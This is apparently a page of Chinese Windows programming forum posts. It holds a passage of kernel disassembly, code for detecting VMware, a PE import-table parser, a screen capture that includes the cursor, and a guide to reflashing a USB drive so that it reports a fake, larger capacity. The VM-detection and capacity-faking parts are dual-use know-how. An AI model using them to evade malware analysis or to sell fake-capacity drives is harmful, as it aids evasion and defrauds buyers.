[rdi]fffff800`a0a5b7f8 488b4708 mov rax,qword ptr [rdi+8]fffff800`a0a5b7fc 48397908 cmp qword ptr [rcx+8],rdifffff800`a0a5b800 0f852e020000 jne nt!CmUnRegisterCallback+0x31c (fffff800`a0a5ba34)nt!CmUnRegisterCallback+0xee:fffff800`a0a5b806 483938 cmp qword ptr [rax],rdifffff800`a0a5b809 0f8525020000 jne nt!CmUnRegisterCallback+0x31c (fffff800`a0a5ba34)nt!CmUnRegisterCallback+0xf7:fffff800`a0a5b80f 488908 mov qword ptr [rax],rcxfffff800`a0a5b812 48894108 mov qword ptr [rcx+8],raxfffff800`a0a5b816 e89591ebff call nt!CmpUnlockCallbackList (fffff800`a09149b0)fffff800`a0a5b81b 4533ff xor r15d,r15dfffff800`a0a5b81e 4489bc24d8000000 mov dword ptr [rsp+0D8h],r15dfffff800`a0a5b826 488d442450 lea rax,[rsp+50h]fffff800`a0a5b82b 4889442458 mov qword ptr [rsp+58h],raxfffff800`a0a5b830 488d442450 lea rax,[rsp+50h]fffff800`a0a5b835 4889442450 mov qword ptr [rsp+50h],raxfffff800`a0a5b83a 4032f6 xor sil,silfffff800`a0a5b83d 4088b424c8000000 mov byte ptr [rsp+0C8h],silfffff800`a0a5b845 e86a900000 call nt!CmpLockContextListExclusive (fffff800`a0a648b4)fffff800`a0a5b84a 4c8d6740 lea r12,[rdi+40h]fffff800`a0a5b84e 498b1c24 mov rbx,qword ptr [r12]nt!CmUnRegisterCallback+0x13a:fffff800`a0a5b852 48895c2430 mov qword ptr [rsp+30h],rbxfffff800`a0a5b857 493bdc cmp rbx,r12fffff800`a0a5b85a 0f8497000000 je nt!CmUnRegisterCallback+0x1df (fffff800`a0a5b8f7)nt!CmUnRegisterCallback+0x148:fffff800`a0a5b860 4c8b2b mov r13,qword ptr [rbx]fffff800`a0a5b863 4c8d73f0 lea r14,[rbx-10h]fffff800`a0a5b867 498b4e30 mov rcx,qword ptr [r14+30h]fffff800`a0a5b86b e85017aeff call nt!ObReferenceObjectSafe (fffff800`a053cfc0)fffff800`a0a5b870 84c0 test al,alfffff800`a0a5b872 745b je nt!CmUnRegisterCallback+0x1b7 (fffff800`a0a5b8cf)nt!CmUnRegisterCallback+0x15c:fffff800`a0a5b874 498d4610 lea rax,[r14+10h]fffff800`a0a5b878 488b10 mov rdx,qword ptr [rax]fffff800`a0a5b87b 488b4808 mov rcx,qword ptr [rax+8]fffff800`a0a5b87f 48394208 cmp qword ptr [rdx+8],raxfffff800`a0a5b883 756b jne nt!CmUnRegisterCallback+0x1d8 (fffff800`a0a5b8f0)nt!CmUnRegisterCallback+0x16d:fffff800`a0a5b885 483901 cmp qword ptr [rcx],raxfffff800`a0a5b888 7566 jne nt!CmUnRegisterCallback+0x1d8 (fffff800`a0a5b8f0)nt!CmUnRegisterCallback+0x172:fffff800`a0a5b88a 488911 mov qword ptr [rcx],rdxfffff800`a0a5b88d 48894a08 mov qword ptr [rdx+8],rcxfffff800`a0a5b891 498b0e mov rcx,qword ptr [r14]fffff800`a0a5b894 498b4608 mov rax,qword ptr [r14+8]fffff800`a0a5b898 4c397108 cmp qword ptr [rcx+8],r14fffff800`a0a5b89c 754b jne nt!CmUnRegisterCallback+0x1d1 (fffff800`a0a5b8e9)nt!CmUnRegisterCallback+0x186:fffff800`a0a5b89e 4c3930 cmp qword ptr [rax],r14fffff800`a0a5b8a1 7546 jne nt!CmUnRegisterCallback+0x1d1 (fffff800`a0a5b8e9)nt!CmUnRegisterCallback+0x18b:fffff800`a0a5b8a3 488908 mov qword ptr [rax],rcxfffff800`a0a5b8a6 48894108 mov qword ptr [rcx+8],raxfffff800`a0a5b8aa 488b442458 mov rax,qword ptr [rsp+58h]fffff800`a0a5b8af 488d4c2450 lea rcx,[rsp+50h]fffff800`a0a5b8b4 48890b mov qword ptr [rbx],rcxfffff800`a0a5b8b7 48894308 mov qword ptr [rbx+8],raxfffff800`a0a5b8bb 488d4c2450 lea rcx,[rsp+50h]fffff800`a0a5b8c0 483908 cmp qword ptr [rax],rcxfffff800`a0a5b8c3 751d jne nt!CmUnRegisterCallback+0x1ca (fffff800`a0a5b8e2)nt!CmUnRegisterCallback+0x1ad:fffff800`a0a5b8c5 488918 mov qword ptr [rax],rbxfffff800`a0a5b8c8 48895c2458 mov qword ptr [rsp+58h],rbxfffff800`a0a5b8cd eb0b jmp nt!CmUnRegisterCallback+0x1c2 (fffff800`a0a5b8da)nt!CmUnRegisterCallback+0x1b7:fffff800`a0a5b8cf 40b601 mov sil,1fffff800`a0a5b8d2 4088b424c8000000 mov byte ptr [rsp+0C8h],silnt!CmUnRegisterCallback+0x1c2:fffff800`a0a5b8da 498bdd mov rbx,r13fffff800`a0a5b8dd e970ffffff jmp nt!CmUnRegisterCallback+0x13a (fffff800`a0a5b852)nt!CmUnRegisterCallback+0x1ca:fffff800`a0a5b8e2 b903000000 mov ecx,3fffff800`a0a5b8e7 cd29 int 29hnt!CmUnRegisterCallback+0x1d1:fffff800`a0a5b8e9 b903000000 mov ecx,3fffff800`a0a5b8ee cd29 int 29hnt!CmUnRegisterCallback+0x1d8:fffff800`a0a5b8f0 b903000000 mov ecx,3fffff800`a0a5b8f5 cd29 int 29hnt!CmUnRegisterCallback+0x1df:fffff800`a0a5b8f7 e8d0910000 call nt!CmpUnlockContextList (fffff800`a0a64acc)nt!CmUnRegisterCallback+0x1e4:fffff800`a0a5b8fc 488d4c2450 lea rcx,[rsp+50h]fffff800`a0a5b901 488b442450 mov rax,qword ptr [rsp+50h]fffff800`a0a5b906 483bc1 cmp rax,rcxfffff800`a0a5b909 0f848c000000 je nt!CmUnRegisterCallback+0x283 (fffff800`a0a5b99b)nt!CmUnRegisterCallback+0x1f7:fffff800`a0a5b90f 488b08 mov rcx,qword ptr [rax]fffff800`a0a5b912 488d542450 lea rdx,[rsp+50h]fffff800`a0a5b917 48395008 cmp qword ptr [rax+8],rdxfffff800`a0a5b91b 7577 jne nt!CmUnRegisterCallback+0x27c (fffff800`a0a5b994)nt!CmUnRegisterCallback+0x205:fffff800`a0a5b91d 48394108 cmp qword ptr [rcx+8],raxfffff800`a0a5b921 7571 jne nt!CmUnRegisterCallback+0x27c (fffff800`a0a5b994)nt!CmUnRegisterCallback+0x20b:fffff800`a0a5b923 48894c2450 mov qword ptr [rsp+50h],rcxfffff800`a0a5b928 488d542450 lea rdx,[rsp+50h]fffff800`a0a5b92d 48895108 mov qword ptr [rcx+8],rdxfffff800`a0a5b931 488d58f0 lea rbx,[rax-10h]fffff800`a0a5b935 48895c2448 mov qword ptr [rsp+48h],rbxfffff800`a0a5b93a 488b4330 mov rax,qword ptr [rbx+30h]fffff800`a0a5b93e 4889442460 mov qword ptr [rsp+60h],raxfffff800`a0a5b943 488b4338 mov rax,qword ptr [rbx+38h]fffff800`a0a5b947 4889442468 mov qword ptr [rsp+68h],raxfffff800`a0a5b94c 4c8d442460 lea r8,[rsp+60h]fffff800`a0a5b951 ba28000000 mov edx,28hfffff800`a0a5b956 488b4f20 mov rcx,qword ptr [rdi+20h]fffff800`a0a5b95a ff5728 call qword ptr [rdi+28h]fffff800`a0a5b95d eb1a jmp nt!CmUnRegisterCallback+0x261 (fffff800`a0a5b979)nt!CmUnRegisterCallback+0x261:fffff800`a0a5b979 488b4b30 mov rcx,qword ptr [rbx+30h]fffff800`a0a5b97d e87e2da7ff call nt!ObfDereferenceObject (fffff800`a04ce700)fffff800`a0a5b982 ba434d6363 mov edx,63634D43hfffff800`a0a5b987 488bcb mov rcx,rbxfffff800`a0a5b98a e87126c5ff call nt!ExFreePoolWithTag (fffff800`a06ae000)fffff800`a0a5b98f e968ffffff jmp nt!CmUnRegisterCallback+0x1e4 (fffff800`a0a5b8fc)nt!CmUnRegisterCallback+0x27c:fffff800`a0a5b994 b903000000 mov ecx,3fffff800`a0a5b999 cd29 int 29hnt!CmUnRegisterCallback+0x283:fffff800`a0a5b99b 4084f6 test sil,silfffff800`a0a5b99e 7442 je nt!CmUnRegisterCallback+0x2ca (fffff800`a0a5b9e2)nt!CmUnRegisterCallback+0x288:fffff800`a0a5b9a0 e80f8f0000 call nt!CmpLockContextListExclusive (fffff800`a0a648b4)fffff800`a0a5b9a5 4c8d7740 lea r14,[rdi+40h]fffff800`a0a5b9a9 498b1e mov rbx,qword ptr [r14]fffff800`a0a5b9ac 48895c2430 mov qword ptr [rsp+30h],rbxfffff800`a0a5b9b1 e816910000 call nt!CmpUnlockContextList (fffff800`a0a64acc)fffff800`a0a5b9b6 493bde cmp rbx,r14fffff800`a0a5b9b9 7422 je nt!CmUnRegisterCallback+0x2c5 (fffff800`a0a5b9dd)nt!CmUnRegisterCallback+0x2a3:fffff800`a0a5b9bb 488364242000 and qword ptr [rsp+20h],0fffff800`a0a5b9c1 41b908000000 mov r9d,8fffff800`a0a5b9c7 4c8d442430 lea r8,[rsp+30h]fffff800`a0a5b9cc 498bd6 mov rdx,r14fffff800`a0a5b9cf 488d0d1acdd1ff lea rcx,[nt!CallbackListDeleteEvent (fffff800`a07786f0)]fffff800`a0a5b9d6 e88d4db1ff call nt!ExBlockOnAddressPushLock (fffff800`a0570768)fffff800`a0a5b9db ebbe jmp nt!CmUnRegisterCallback+0x283 (fffff800`a0a5b99b)nt!CmUnRegisterCallback+0x2c5:fffff800`a0a5b9dd 4032f6 xor sil,silfffff800`a0a5b9e0 ebb9 jmp nt!CmUnRegisterCallback+0x283 (fffff800`a0a5b99b)nt!CmUnRegisterCallback+0x2ca:fffff800`a0a5b9e2 83c8ff or eax,0FFFFFFFFhfffff800`a0a5b9e5 f00fc105732ad2ff lock xadd dword ptr [nt!CmpCallBackCount (fffff800`a077e460)],eaxfffff800`a0a5b9ed 83f801 cmp eax,1fffff800`a0a5b9f0 7523 jne nt!CmUnRegisterCallback+0x2fd (fffff800`a0a5ba15)nt!CmUnRegisterCallback+0x2da:fffff800`a0a5b9f2 488d0d0766d2ff lea rcx,[nt!CmpCallbackContextSList (fffff800`a0782000)]fffff800`a0a5b9f9 e8d29db6ff call nt!ExpInterlockedFlushSList (fffff800`a05c57d0)fffff800`a0a5b9fe 488bd8 mov rbx,raxnt!CmUnRegisterCallback+0x2e9:fffff800`a0a5ba01 4885db test rbx,rbxfffff800`a0a5ba04 740f je nt!CmUnRegisterCallback+0x2fd (fffff800`a0a5ba15)nt!CmUnRegisterCallback+0x2ee:fffff800`a0a5ba06 488bcb mov rcx,rbxfffff800`a0a5ba09 488b1b mov rbx,qword ptr [rbx]fffff800`a0a5ba0c 33d2 xor edx,edxfffff800`a0a5ba0e e8ed25c5ff call nt!ExFreePoolWithTag (fffff800`a06ae000)fffff800`a0a5ba13 ebec jmp nt!CmUnRegisterCallback+0x2e9 (fffff800`a0a5ba01)nt!CmUnRegisterCallback+0x2fd:fffff800`a0a5ba15 488b4f38 mov rcx,qword ptr [rdi+38h]fffff800`a0a5ba19 4885c9 test rcx,rcxfffff800`a0a5ba1c 7407 je nt!CmUnRegisterCallback+0x30d (fffff800`a0a5ba25)nt!CmUnRegisterCallback+0x306:fffff800`a0a5ba1e 33d2 xor edx,edxfffff800`a0a5ba20 e8db25c5ff call nt!ExFreePoolWithTag (fffff800`a06ae000)nt!CmUnRegisterCallback+0x30d:fffff800`a0a5ba25 33d2 xor edx,edxfffff800`a0a5ba27 488bcf mov rcx,rdifffff800`a0a5ba2a e8d125c5ff call nt!ExFreePoolWithTag (fffff800`a06ae000)fffff800`a0a5ba2f 418bc7 mov eax,r15dfffff800`a0a5ba32 eb11 jmp nt!CmUnRegisterCallback+0x32d (fffff800`a0a5ba45)nt!CmUnRegisterCallback+0x31c:fffff800`a0a5ba34 b903000000 mov ecx,3fffff800`a0a5ba39 cd29 int 29hnt!CmUnRegisterCallback+0x323:fffff800`a0a5ba3b e8708febff call nt!CmpUnlockCallbackList (fffff800`a09149b0)fffff800`a0a5ba40 b80d0000c0 mov eax,0C000000Dhnt!CmUnRegisterCallback+0x32d:fffff800`a0a5ba45 4881c480000000 add rsp,80hfffff800`a0a5ba4c 415f pop r15fffff800`a0a5ba4e 415e pop r14fffff800`a0a5ba50 415d pop r13fffff800`a0a5ba52 415c pop r12fffff800`a0a5ba54 5f pop rdifffff800`a0a5ba55 5e pop rsifffff800`a0a5ba56 5b pop rbxfffff800`a0a5ba57 c3 ret
    2 留言 2019-03-27 13:02:47
  • 两种方法实现虚拟机检测

    背景虚拟机因为它的便捷易用性,使得它被越来越多人喜爱。相信大家也都会在自己的计算机上面安装有虚拟机,平时也会使用虚拟机来测试程序或者做一些文件分析工作。所谓的虚拟机(Virtual Machine)是指通过软件模拟的具有完整硬件系统功能的、运行在一个完全隔离环境中的完整计算机系统。通过虚拟机软件(比如VMware、Virtual PC、VirtualBox),你可以在一台物理计算机上模拟出一台或多台虚拟的计算机,这些虚拟机完全就像真正的计算机那样进行工作。
    但是,无论是模拟得多好的虚拟机,终归只是虚拟机,肯定会留下些属于自己特有的痕迹,使得程序可以判断出自己是运行在虚拟机当中。本文就是要是现实这样的一个程序,来判断自己是运行在虚拟机中还是真机当中。现在,我就把实现过程整理成文档,分享给大家。
    实现原理本文介绍两种虚拟机检测方法,分别是使用执行特权指令来检测虚拟机,另一种是通过网卡MAC地址检测虚拟机。
    通过执行特权指令 IN 来检测虚拟机的原理是:
    VMware 为真主机与虚拟机之间提供了相互沟通的通讯机制,它使用 IN 指令来读取特定端口的数据以进行两机通讯。但由于 IN 指令属于特权指令,在处于保护模式下的真机上执行此指令时,除非权限允许,否则将会触发类型为 EXCEPTION_PRIV_INSTRUCTION 的异常,而在虚拟机中并不会发生异常。
    在指定功能号 0x0A(获取VMware版本)的情况下,当 EBX 中返回其版本号 “VMXH”时,则说明处于虚拟机中;而当功能号为 0x14 时,可用于获取 VMware 内存大小,当返回值 EAX 大于 0 时,则说明处于虚拟机中。
    通过网卡 MAC 地址检测原理是:
    VMware默认的网卡MAC地址前缀为 00-05-69、00-0C-29 或者 00-50-56,这前 3 字节是由 VMware 分配的唯一标识符 OUI,以供它的虚拟化适配器使用。所以,只要我们获取 MAC 地址,然后判断它前 3 字节的数据,若符合 WMware 的默认前缀,则则说明处于虚拟机中。
    其中,获取计算机上的 MAC 地址,可以参考我写的《编程获取计算机MAC地址等网卡信息并对网卡类型进行区分》这篇文章。
    编码实现使用特权指令 IN 检测// 使用特权指令 IN 检测是否运行在虚拟机当中BOOL VMDetect_IN(){ BOOL bVM = FALSE; __try { __asm { push edx push ecx push ebx // 'VMXh' ---> 0x564d5868 mov eax, 'VMXh' // 将ebx清零 xor ebx, ebx // 指定功能号0x0a, 用于获取VMWare版本 mov ecx, 0x0A // 端口号: 'VX' ---> 0x5658 mov edx, 'VX' // 从端口dx读取VMWare版本到ebx in eax, dx // 判断ebx中是否'VMXh',若是则在虚拟机中 cmp ebx, 'VMXh' je _vm jmp _exit _vm: mov eax, TRUE mov bVM, eax _exit: pop ebx pop ecx pop edx } } __except (EXCEPTION_EXECUTE_HANDLER) { printf("EXCEPTION_EXECUTE_HANDLER because of IN.\n"); bVM = FALSE; } return bVM;}
    使用默认网卡 MAC 地址检测// 通过网卡 MAC 地址检测是否运行在虚拟机当中BOOL VMDetect_MAC(){ BOOL bVM = FALSE; IP_ADAPTER_INFO AdapterInfo[16]; DWORD dwBufLen = sizeof(AdapterInfo); // 获取网卡信息 DWORD dwStatus = ::GetAdaptersInfo( AdapterInfo, &dwBufLen); if (ERROR_SUCCESS != dwStatus) { ShowError("GetAdaptersInfo"); return FALSE; } // 不对网卡进行遍历, 值获取第一个网卡(默认网卡)信息 PIP_ADAPTER_INFO pAdapterInfo = AdapterInfo; if ( // 00-05-69 (0x00 == pAdapterInfo->Address[0] && 0x05 == pAdapterInfo->Address[1] && 0x69 == pAdapterInfo->Address[2]) || // 00-0C-29 (0x00 == pAdapterInfo->Address[0] && 0x0c == pAdapterInfo->Address[1] && 0x29 == pAdapterInfo->Address[2]) || // 00-50-56 (0x00 == pAdapterInfo->Address[0] && 0x50 == pAdapterInfo->Address[1] && 0x56 == pAdapterInfo->Address[2]) ) { // VMware 网卡 bVM = TRUE; } return bVM;}
    测试当我们在真机上运行程序的时候,两种检测方法均能正确检测出运行在真机上:

    当我们在 VMware 虚拟机机上运行程序的时候,两种检测方法均能正确检测出运行在虚拟机里:

    总结虚拟机检测技术有很多,当然不止是这两种。本文只是抛砖引玉,向大家讲解目前比较流行的两种检测方式。当然,感兴趣的同学,可以继续往下钻研,积累更多的检测虚拟机的方法。
    参考参考自《Windows黑客编程技术详解》一书
    2 留言 2018-11-27 17:24:53 奖励15点积分
  • 根据PE文件格式从导入表中获取加载的DLL并遍历导入函数名称和地址 精华

    背景了解 PE 文件格式,对于做一些数据分析都是比较重要的基础。在 PE 文件格式中,理解导入表以及导出表的工作原理,又是重中之重。理解了 PE 格式的导入表,就可以修改 PE 格式进行 DLL 注入,也可以修改导入表实现 API HOOK 等。理解了 PE 格式的导出表,可以不需要 WIN32 API 函数就可以根据 DLL 加载基址定位出导出函数的名称和导出函数的地址,这在 SHELLCODE 的编写中,比较重要。
    本文主要介绍导入表。给出一个 DLL 的加载基址,然后我们根据导入表获取它需要加载的 DLL 以及遍历所有导入函数名称及其函数地址。现在,我把实现过程整理成文档,分享给大家。
    实现原理我们根据 PE 文件格式结构中的导入表工作原理来进行实现,实现原理如下所示:

    首先,我们根据 DLL 加载基址,也就是 PE 文件结构的起始地址,从 DOS 头获取 NT 头,并根据 NT 头中的 OptionalHeader.DataDirectory 的导入表选项,获取导入表的偏移位置以及数据大小
    我们来到导入表的数据偏移处,获取导入的 DLL 名称偏移 Name,并显示 DLL 名称
    接着,根据导入表中导入函数名称的地址偏移 OriginalFirstThunk,并根据 IMAGE_IMPORT_BY_NAME 数据结构从中获取导入函数名称及其函数索引并显示。同时,也从 FirstThunk 导入函数地址列表中获取对应位置的导入函数地址并显示。继续循环获取下一个函数名称,直到遍历完毕
    继续获取下一个 DLL,重复上诉第 3 步,直到 DLL 获取完毕

    其中,在导入表中,OriginalFirstThunk 的导入函数名称列表和 FirstThunk 导入函数地址列表一一对应。
    编码实现// 遍历导入表中的DLL、导入函数及其函数地址BOOL GetProcessDllName(PVOID lpBaseAddress){ LPVOID lpFunc = NULL; // 获取导入表 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE *)pDosHeader + pDosHeader->e_lfanew); PIMAGE_IMPORT_DESCRIPTOR pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE *)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); // 获取导入表的数据 char *pszDllName = NULL; PIMAGE_THUNK_DATA pThunkData = NULL; PIMAGE_IMPORT_BY_NAME pImportByName = NULL; PIMAGE_THUNK_DATA pImportFuncAddr = NULL; while (0 != pImportTable->Name) { // 获取DLL的名称 pszDllName = (char *)((BYTE *)pDosHeader + pImportTable->Name); printf("---------- DLL Name = %s ----------\n", pszDllName); // 遍历 DLL 中导入函数的名称 pThunkData = (PIMAGE_THUNK_DATA)((BYTE *)pDosHeader + pImportTable->OriginalFirstThunk); pImportFuncAddr = (PIMAGE_THUNK_DATA)((BYTE *)pDosHeader + pImportTable->FirstThunk); while (TRUE) { if (0 == pThunkData->u1.AddressOfData) { break; } // 获取导入函数名称和序号 pImportByName = (PIMAGE_IMPORT_BY_NAME)((BYTE *)pDosHeader + pThunkData->u1.AddressOfData); printf("[%d]\t%s\t", pImportByName->Hint, pImportByName->Name); // 获取导入函数地址 printf("[0x%p]\n", (PVOID)((BYTE *)pDosHeader + pImportFuncAddr->u1.Function)); // 获取下一个函数名称和地址 pThunkData++; pImportFuncAddr++; } // 获取下一个DLL pImportTable++; } return TRUE;}
    程序测试我们直接运行程序,程序正确列出导入的DLL及遍历出导入函数名称和地址:

    总结这个程序不是很复杂,但是关键是要理解 PE 文件结构的导入表,要理解清楚导入表的工作原理。
    参考参考自《Windows黑客编程技术详解》一书
    2 留言 2018-12-24 09:14:38 奖励15点积分
  • 包含鼠标位置的屏幕截屏并保存为图片文件 精华

    背景在开发自己的专属程序“恶魔的结界”的时候,里面就有一个功能,实现屏幕的截屏,而且是包含鼠标位置的截屏。因为,通常情况下,我们看到的截屏都是没有显示鼠标的截屏,这次我们需要实现显示鼠标的截屏。而且,保存为本地的图片文件。
    现在,我就把这个小程序的实现过程和实现原理写成文档,分享给大家。
    函数介绍GetDesktopWindow 函数
    该函数返回桌面窗口的句柄。桌面窗口覆盖整个屏幕。桌面窗口是一个要在其上绘制所有的图标和其他窗口的区域。
    函数声明
    HWND WINAPI GetDesktopWindow(void);
    参数

    无参数。
    返回值

    返回桌面窗口的句柄。

    GetDC 函数
    该函数检索一指定窗口的客户区域或整个屏幕的显示设备上下文环境的句柄,以后可以在GDI函数中使用该句柄来在设备上下文环境中绘图。
    函数声明
    HDC GetDC( HWND hWnd);
    参数

    hWnd:设备上下文环境被检索的窗口的句柄,如果该值为NULL,GetDC则检索整个屏幕的设备上下文环境。
    返回值

    若执行成功,则返回指定窗口的客户区域或整个屏幕的显示设备上下文环境的句柄;若执行失败,则返回NULL。

    CreateCompatibleDC 函数
    该函数创建一个与指定设备兼容的内存设备上下文环境(DC)。
    函数声明
    HDC CreateCompatibleDC( HDC hdc );
    参数

    hdc:现有设备上下文环境的句柄,如果该句柄为NULL,该函数创建一个与应用程序的当前显示器兼容的内存设备上下文环境。
    返回值

    如果成功,则返回内存设备上下文环境的句柄;如果失败,则返回值为NULL。

    CreateCompatibleBitmap 函数
    创建与与指定设备上下文关联的设备兼容的位图。
    函数声明
    HBITMAP CreateCompatibleBitmap( _In_ HDC hdc, _In_ int nWidth, _In_ int nHeight);
    参数

    hdc [in]设备上下文的句柄。nWidth [in]位图宽度,以像素为单位。nHeight [in]位图高度,以像素为单位。
    返回值

    如果函数成功,则返回值是兼容位图(DDB)的句柄。如果函数失败,返回值为NULL。

    SelectObject 函数
    该函数选择一对象到指定的设备上下文环境中,该新对象替换先前的相同类型的对象。
    函数声明
    HGDIOBJ SelectObject( HDC hdc, HGDIOBJ hgdiobj );
    参数

    hdc:设备上下文环境的句柄。hgdiobj:被选择的对象的句柄,该指定对象必须由如下的函数创建。
    返回值

    如果选择对象不是区域并且函数执行成功,那么返回值是被取代的对象的句柄;如果选择对象是区域并且函数执行成功,返回如下一值:
    ​ SIMPLEREGION:区域由单个矩形组成;
    ​ COMPLEXREGION:区域由多个矩形组成;
    ​ NULLREGION:区域为空。
    如果发生错误并且选择对象不是一个区域,那么返回值为NULL,否则返回HGDI_ERROR。


    BitBlt 函数
    对指定的源设备环境区域中的像素进行位块(bit_block)转换,以传送到目标设备环境。
    函数声明
    BOOL BitBlt( HDC hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, HDC hdcSrc, int nXSrc, int nYSrc, DWORD dwRop);
    参数

    hdcDest:指向目标设备环境的句柄。nXDest:指定目标矩形区域左上角的X轴逻辑坐标。nYDest:指定目标矩形区域左上角的Y轴逻辑坐标。nWidth:指定源在目标矩形区域的逻辑宽度。nHeight:指定源在目标矩形区域的逻辑高度。hdcSrc:指向源设备环境的句柄。nXSrc:指定源矩形区域左上角的X轴逻辑坐标。nYSrc:指定源矩形区域左上角的Y轴逻辑坐标。dwRop:指定光栅操作代码。这些代码将定义源矩形区域的颜色数据,如何与目标矩形区域的颜色数据组合以完成最后的颜色。
    返回值

    如果函数成功,那么返回值非零;如果函数失败,则返回值为零。

    GetSystemMetrics 函数
    检索指定的系统度量或系统配置设置。
    函数声明
    int WINAPI GetSystemMetrics( _In_ int nIndex);
    参数

    nIndex [in]要检索的系统度量或配置设置。 此参数可以是以下值之一。 请注意,所有SM_CX 值都是宽度,所有SM_CY 值都是高度。 还要注意,设计为返回布尔数据的所有设置都表示TRUE作为任何非零值,FALSE为零值。
    其中,SM_CXSCREEN表示主显示屏的屏幕宽度,以像素为单位。 这是通过调用GetDeviceCaps获得的相同的值;SM_CYSCREEN表示主显示屏的屏幕高度,以像素为单位。 这是通过调用GetDeviceCaps获得的相同的值。

    返回值

    如果函数成功,则返回值是所请求的系统度量或配置设置。如果函数失败,则返回值为0。

    实现原理获取桌面屏幕位图句柄的实现原理是:

    首先,使用GetDesktopWindow获取桌面窗口的句柄
    然后,根据句柄使用GetDC获取桌面窗口的设备环境上下文句柄。同时使用CreateCompatibleDC创建与桌面窗口兼容的内存设备上下文环境
    接着,使用GetSystemMetrics获取计算机显示屏幕的宽和高的像素值,并调用CreateCompatibleBitmap兼容位图
    最后,使用SelectObject将把创建的兼容位图选进兼容内存设备上下文环境中,并使用BitBlt函数把桌面内容绘制到兼容位图上

    这样,我们就获取了屏幕内容的位图句柄了.
    对于鼠标的获取,则需要另外绘制上去。

    首先,使用GetCursorPos获取以屏幕坐标表示的鼠标的位置
    然后,使用GetCursor函数获取当前光标的句柄
    最后,调用DrawIcon函数将鼠标绘制到兼容设备上下文环境中,也就是在上述屏幕截屏的基础上,绘制鼠标

    最后,我们就可以使用基于 CImage 类的方法保存位图。
    编码实现截屏,获取屏幕位图的句柄 // 获取屏幕截屏 // 获取桌面窗口句柄 HWND hDesktop = ::GetDesktopWindow(); // 获取桌面窗口DC HDC hdc = ::GetDC(hDesktop); // 创建兼容DC HDC mdc = ::CreateCompatibleDC(hdc); // 获取计算机屏幕的宽和高 DWORD dwWidth = ::GetSystemMetrics(SM_CXSCREEN); DWORD dwHeight = ::GetSystemMetrics(SM_CYSCREEN); // 创建兼容位图 HBITMAP bmp = ::CreateCompatibleBitmap(hdc, dwWidth, dwHeight); // 选中位图 HBITMAP holdbmp = (HBITMAP)::SelectObject(mdc, bmp); // 将窗口内容绘制到位图上 ::BitBlt(mdc, 0, 0, dwWidth, dwHeight, hdc, 0, 0, SRCCOPY);
    绘制鼠标 // 绘制鼠标 POINT p; //获取当前屏幕的鼠标的位置 ::GetCursorPos(&p); //获得鼠标图片的句柄 HICON hIcon = (HICON)::GetCursor(); //绘制鼠标图标 ::DrawIcon(mdc, p.x, p.y, hIcon);
    根据位图句柄保存为文件BOOL SaveBmp(HBITMAP hBmp){ CImage image; // 附加位图句柄 image.Attach(hBmp); // 保存成jpg格式图片 image.Save("mybmp1.jpg"); return TRUE;}
    程序测试运行程序,生成图像文件。查看图片,程序截屏成功,而且包含鼠标位置和状态。

    总结通常情况下的截屏,之所以没有鼠标,是因为鼠标需要另外绘制上去。所以我们获取鼠标的位置以及当时的鼠标状态图标,绘制到图像上,这样就实现了带鼠标位置信息的截屏功能。
    参考参考自《Windows黑客编程技术详解》一书
    2 留言 2019-01-06 10:18:56 奖励15点积分
  • U盘量产之更改U盘容量大小 精华

    背景由于某个项目,使我无意中接触到了U盘量产方面的操作。刚开始听到“U盘量产”的词语,还以为是要生产U盘的意思。后来了解了之后发现,原来意思也是特别相近了。“U盘量产”就是指U盘生产的最后一个步骤,使用工具对U盘的主控芯片刷写数据信息,也就是刷写如:生产厂商、主控芯片型号、U盘容量、U盘类型等等。
    在熟悉了U盘量产的操作之后,恍然发现,这个操作,有利也有弊啊。利是因为我们可以对一些坏的U盘重新量产一下,还能继续使用,可以修复一些U盘问题;弊是因为这个量产技术也可以被用来做坏事,比如:假容量U盘。也就是,坏人可以使用量产工具,将一个比较小容量的U盘,比如4G,量产为32G或是64G的U盘,然后进行出售。但,U盘实际上只能使用4G容量的大小。
    所以,本文就从坏人的角度,为大家演示更改U盘容量大小这方面的操作,给大家提个醒。注意:请不要使用该方面操作做不好的事,对于造成的后果,本人概不负责。这里,只从技术的角度,与大家交流分享。
    准备工作
    芯片精灵:ChipGenius v4.00.1024版本;
    量产工具:慧荣量产工具;
    U盘:U盘主控芯片是慧荣的8GU盘一个。

    量产步骤1. 插入U盘先插入U盘到计算机,可以看到U盘的容量显示为“7.52G”,而且360也显示为“7.5G”大小。


    2. 查看U盘的主控芯片型号然后,运行芯片精灵“ChipGenius”程序,会看到插入的U盘的检测信息。其中,我们只需要关心“Controller Part-Number”部分的信息“SM3257ENLT”。意思是说,该U盘的主控芯片型号为“SM3257ENLT”。

    3. 下载相应主控芯片型号的量产工具这里需要注意的是,并不是所有U盘的主控芯片都会有公开的量产工具。也就是说,如果U盘生产商不公开量产工具的话,也基本上就很难进行量产了。因为不同的芯片型号,量产工具不一定相同,量产工具并不是通用的。
    本文测试采用的是慧荣主控芯片的U盘,而慧荣主控芯片的量产工具是公开的,所以可以轻松获取到。
    下载“SM3257ENLT”型号对应的量产工具到本地上,并运行。
    4. 量产设置运行量产工具,点击右侧的“Scan USB(F5)”,扫描U盘。

    点击“Setting”,对量产进行设置。

    我们可以看到U盘量产的很多信息,例如U盘的类型、格式、生产商的信息等等。我们都可以进行更改,但是,本文的目的是更改U盘的容量大小。

    所以,点击“Capacity Setting”,跳转到容量设置页面,进行容量大小的设置。选中“Fix”固定大小选项,然后输入U盘的大小的信息,如输入:0-15000M,也就是大约15G左右。然后点击“OK”,保存设置。

    回到主界面后,点击“Start(Space Key)”开始按设置进行U盘量产。

    此时,会弹出提示框询问是否要擦除坏块,点击“确定”,即开始进行量产。

    等待一会儿之后,U盘变量产好了。

    这是,我们点击右侧的“Quit”,退出量产工具程序,并拔出U盘,然后再重新插上,查看U盘容量是否变化。


    这时,U盘容量增大了,说明U盘量产成功了。
    总结再次提醒,千万千万不要用来做坏事哦!千万千万不要用来做坏事哦!千万千万不要用来做坏事哦!
    即使上面显示U盘容量增加了,实际上也只有8G的容量,也只能使用8G的容量。如果使用超过8G的容量,U盘写入数据的时候,便会出现问题的。
    3 留言 2018-11-12 11:28:34 奖励20点积分
